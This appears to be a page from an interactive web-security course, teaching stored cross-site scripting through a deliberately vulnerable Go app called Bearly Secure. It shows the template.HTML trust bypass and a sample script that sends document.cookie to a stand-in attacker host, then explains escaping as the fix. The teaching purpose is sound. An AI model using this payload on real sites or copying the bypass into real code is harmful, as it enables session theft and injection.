

0 / 2 embers
0 / 3000 xp
click for more info
Complete a lesson to start your streak
click for more info
Still calibrating
click for more info
Not enough gems
Cost: 6 gems
1: Cross-Site Scripting (XSS)
incomplete
2: Fix Cross-Site Scripting
incomplete
3: Cross-Site Request Forgery (CSRF)
incomplete
4: CSRF Tokens
incomplete
5: Content Security Policy
incomplete
6: Legitimate Inline Scripts
incomplete
7: Sandboxing 'iframe' Elements
incomplete
8: Clickjacking
incomplete
9: Same-Origin and Referrer Policies
incomplete
10: Cross-Origin Resource Sharing
incomplete
11: Route-Scoped CORS
incomplete
12: Security Header Middleware
incomplete
Back
ctrl+,
Next
ctrl+.
This lesson's interactive features are locked, please to keep using them
Cross-Site Scripting (XSS) happens when user-controlled input becomes executable code in a browser. Instead of being treated as text, the input becomes part of the page and runs with that page's access.
Go's html/template package escapes ordinary strings for their HTML context. Bearly Secure bypasses that protection by marking each stored review as trusted HTML:
view := reviewView{
Review: review,
BodyHTML: template.HTML(review.Body),
}
An attacker can submit a review containing an executable <script> payload:
<script>
fetch("https://attacker.example.com/steal-cookie", {
method: "POST",
body: document.cookie,
});
</script>
The site stores that entire script tag as a string, and the payload is injected into the HTML of every visitor's session when they open the product page. This is stored XSS: the attack persists and reaches other users.
HttpOnly at least takes one common XSS goal off the table because it prevents JavaScript from reading a cookie through document.cookie. Of course, that doesn't stop the injected script from reading page data or making authenticated same-origin requests as the victim.
The defense is to encode untrusted values for the context where they're rendered. In HTML text, characters like <, >, and & need to become text entities instead of active markup.
Bearly Secure marks stored review bodies as trusted HTML. Remove that trust bypass and let html/template render reviews as inert text.
<script>
document.body.insertAdjacentHTML(
"afterbegin",
'<p style="background: #b91c1c; color: black; padding: 1rem">XSS payload executed</p>',
);
</script>
With Bearly Secure still running, run and submit the CLI tests from the project root.